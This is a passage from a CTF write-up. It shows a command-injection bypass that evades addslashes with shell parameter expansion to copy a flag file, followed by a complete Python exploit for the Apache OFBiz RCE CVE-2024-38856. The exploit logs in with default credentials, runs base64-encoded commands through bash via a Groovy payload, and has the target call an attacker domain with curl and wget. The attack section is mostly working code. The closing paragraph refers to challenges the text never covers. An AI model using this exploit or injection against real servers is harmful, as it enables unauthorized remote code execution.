We know that we can read a file. SO my plan was to execute a read command on the flag, and put the output in this file. The problem was that the input was sanitized using addslashes($json);. So in order to put the ”/” character i used : ${HOME%${HOME#?}}

I used this command :

$(cat ${HOME%${HOME#?}}tmp${HOME%${HOME#?}}flag.txt >> ${HOME%${HOME#?}}var${HOME%${HOME#?}}www${HOME%${HOME#?}}html${HOME%${HOME#?}}data${HOME%${HOME#?}}a3bfc3b2-79d9-4e42-8428-9c834dcd1b98)

But at first it didnt work since the file was not created. After a lot of time I concluded that the “data” directory was not created on the instance ( even though in the source file the folder was present ). So before executing this command this was needed to be executed :

$(mkdir ${HOME%${HOME#?}}var${HOME%${HOME#?}}www${HOME%${HOME#?}}html${HOME%${HOME#?}}data)

After this comamnd I created a new uuid in order to backup the contents and i executed the first command and i got the flag.


open-for-business: Web

Proof of flag

CTF{2378f7c994cd18ee3206f253744aea876734a3ed4e6a7244a9f70f73e86ac833}

Summary

This was an intresting challenge. There were several vulnerabilities which led to RCE in a Apache OfBiz enviorment.

Solution

First i ran dirsearch to view the directories and i found clasic directories for Apache OfBiz ( e.g /webtools ). I was presented with an error, that didnt allow me to access the services due to the IP address not included in security.properties. So I searched for possible bypasses and i introduced “localhost” in the Host header, but nothing happened. So I decided to tru using “curl” and I could access the login page. I then searched for default credentials and managed to login.

After logging in I searched for exploits for Ofbiz version 18.12.* and i stumbled upon “CVE-2024-38856. Basically there was an arbitrary directory, that allowed Java code to be run. I used the following script :

import sys
import base64
import requests
import argparse
import urllib3
from colorama import Fore, Style, init

init(autoreset=True)

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

cookie_string = ""


def commandEncoder(command):
    command_with_markers = f'echo [result]; {command}; echo [result];'
    encodedCommand = base64.b64encode(command_with_markers.encode()).decode()
    return encodedCommand

def payloadUnicode(base64EncodedCommand):
    command = f'throw new Exception(["bash", "-c", "{{echo,{base64EncodedCommand}}}|{{base64,-d}}|{{bash,-i}}"].execute().text);'
    unicodePayload = ''.join(f'\\u{ord(c):04x}' for c in command)
    return unicodePayload

def extract_output(response_text):
    start_marker = '[result]'
    end_marker = '[result]'
    
    start_index = response_text.find(start_marker)
    end_index = response_text.find(end_marker, start_index + len(start_marker))
    
    if start_index != -1 and end_index != -1:
        output = response_text[start_index + len(start_marker):end_index].strip()
        return output
    return None

def exploit(target, port, payload, timeout, proxies=None):
    url = f'{target}:{port}/webtools/control/main/ProgramExport'
    headers = {
        "Host":"localhost",
        "Cookie": cookie_string,
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = f"groovyProgram={payload}"
    try:
        response = requests.post(url, headers=headers, data=data, verify=False, timeout=timeout, proxies=proxies)
        return response.status_code, response.text
    except requests.exceptions.Timeout:
        print(f"{Fore.YELLOW}[!] Request timed out for {target}:{port}{Style.RESET_ALL}")
        return "timeout", ""
    except requests.exceptions.RequestException as e:
        print(f"{Fore.RED}Exception: {e}{Style.RESET_ALL}")
        return "target maybe down", ""

def scan_vulnerability(target, port, domain, timeout, proxies=None):
    scanCommands = [
        f'ping -c 4 {domain}',
        f'wget -O- {domain}',
        f'curl {domain}'
    ]
    
    results = []
    url = f'{target}:{port}/webtools/control/main/ProgramExport'
    headers = {
        "Host":"localhost",
        "Cookie": cookie_string,
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    for command in scanCommands:
        encodedCommand = commandEncoder(command)
        unicodePayload = payloadUnicode(encodedCommand)
        data = f"groovyProgram={unicodePayload}"
        try:
            response = requests.post(url, headers=headers, data=data, verify=False, timeout=timeout, proxies=proxies)
            results.append((command, response.status_code))
        except requests.exceptions.Timeout:
            results.append((command, "timeout"))
        except requests.exceptions.RequestException as e:
            results.append((command, f"Exception: {e}"))
    
    return results

def processTarget(target, port, command, timeout, output_file=None, proxies=None, exploit_command=False, domain=None):
    if not exploit_command:
        scan_results = scan_vulnerability(target, port, domain, timeout, proxies)
        vulnerable = False
        for command, status in scan_results:
            if status == "timeout":
                print(f"{Fore.YELLOW}[+] Scan Payload: {command} - Request timed out{Style.RESET_ALL}")
            else:
                print(f"{Fore.CYAN}[+] Scan Payload:{Style.RESET_ALL} {command} {Fore.CYAN}- Status Code:{Style.RESET_ALL} {status}")
                if status == 200:
                    vulnerable = True
        if vulnerable:
            result = f"{Fore.GREEN}[!] Target {target}:{port} is vulnerable.{Style.RESET_ALL}\n\n"
        else:
            result = f"{Fore.RED}[!] Target {target}:{port} is not vulnerable.{Style.RESET_ALL}\n\n"
        save_output(result, output_file)
        return
    
    encodedCommand = commandEncoder(command)
    unicodePayload = payloadUnicode(encodedCommand)
    statusCode, responseText = exploit(target, port, unicodePayload, timeout, proxies)
    output = extract_output(responseText)
 
    if output:
        result = f"{Fore.GREEN}[!] Exploit output:\n\t[+] Target: {target}, Port: {port}\n\t[+] Status Code: {statusCode}\n\t[+] Output: {command} \n\r\n{Style.RESET_ALL}{output}  \n\n"
    else:
        result = f"{Fore.YELLOW}[!] Exploit executed, but no output found in the response :\n\t[+] Target: {target}, Port: {port}\n\t[+] Status Code: {statusCode}{Style.RESET_ALL}\n\n"
    save_output(result, output_file)

def save_output(output, output_file=None):
    if output_file:
        with open(output_file, 'a') as f:
            f.write(output + '\n')
    else:
        print(output)

def main():

    
    parser = argparse.ArgumentParser(description='CVE-2024-38856 Apache Ofbiz RCE Scanner Framework.')
    parser.add_argument('-t', '--target', type=str, help='Target host')
    parser.add_argument('-p', '--port', type=int, help='Target port')
    parser.add_argument('-c', '--command', type=str, help='Command to execute (if exploit is performed)')
    parser.add_argument('-s', '--scan', action='store_true', help='Perform a scan to check for vulnerability')
    parser.add_argument('-d', '--domain', type=str, help='Domain (attacker domain) to scan with ping, curl, and wget')
    parser.add_argument('-f', '--file', type=str, help='File containing a list of targets in the format http(s)://target:port')
    parser.add_argument('-O', '--output', type=str, help='Output file to save results')
    parser.add_argument('--proxy', type=str, help='Proxy URL (e.g., http://localhost:8080)')
    parser.add_argument('--exploit', action='store_true', help='Exploit the vulnerability after scanning')
    parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds (default: 10)')
    
    creds = {"USERNAME":"admin", "PASSWORD":"ofbiz", "JavaScriptEnabled":"N"}

    headers = {
        "Host":"localhost",
        "Content-Type": "application/x-www-form-urlencoded"
    }

    response = requests.post("https://65.109.131.17:1337/webtools/control/login", headers=headers, data=creds, verify=False)
    cookies = response.cookies.get_dict()

    global cookie_string
    cookie_string = "; ".join([f"{key}={value}" for key, value in cookies.items()])

    

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    args = parser.parse_args()

    proxies = None
    if args.proxy:
        proxies = {
            "http": args.proxy,
            "https": args.proxy,
        }

    print(f"{Fore.BLUE}[*] Options Passed:{Style.RESET_ALL}")
    for arg in vars(args):
        print(f"    {Fore.GREEN}{arg}: {getattr(args, arg)}{Style.RESET_ALL}")

    targets = []

    if args.file:
        with open(args.file, 'r') as f:
            targets = [line.strip() for line in f if line.strip()]

    if args.target:
        targets.append(f"{args.target}:{args.port or 8443}")

    if not targets:
        print(f"{Fore.RED}[!] No targets specified. Please provide a target or a file with targets.{Style.RESET_ALL}")
        sys.exit(1)

    for target in targets:
        if args.scan and not args.domain:
            print(f"{Fore.RED}[!] The --domain option is required when using --scan.{Style.RESET_ALL}")
            sys.exit(1)
        
        if '://' in target:
            url_parts = target.split(':')
            target_host = url_parts[0] + ':' + url_parts[1]
            port = url_parts[2] if len(url_parts) > 2 else '8443'
        else:
            target_host = target.split(':')[0]
            port = target.split(':')[1] if ':' in target else '8443'

        processTarget(target_host, port, args.command, args.timeout, args.output, proxies, args.exploit, args.domain)

if __name__ == "__main__":
    main()


Conclusion

This CTF competition was a blast! Diving into the challenges was both thrilling and educational, especially getting to dig deeper into the OBX protocol—what a fascinating piece of tech to unravel! Extracting mp3 files from pcap captures was another highlight; it felt like digital archaeology, piecing together clues from network traffic. I learned a ton, not just about these specific skills but also about thinking creatively under pressure.

Huge shoutout to the organizers for putting together such an engaging and well-run event. Your hard work made it a memorable experience, and I’m already looking forward to the next one! Thanks for sparking curiosity and fun in the cybersecurity community.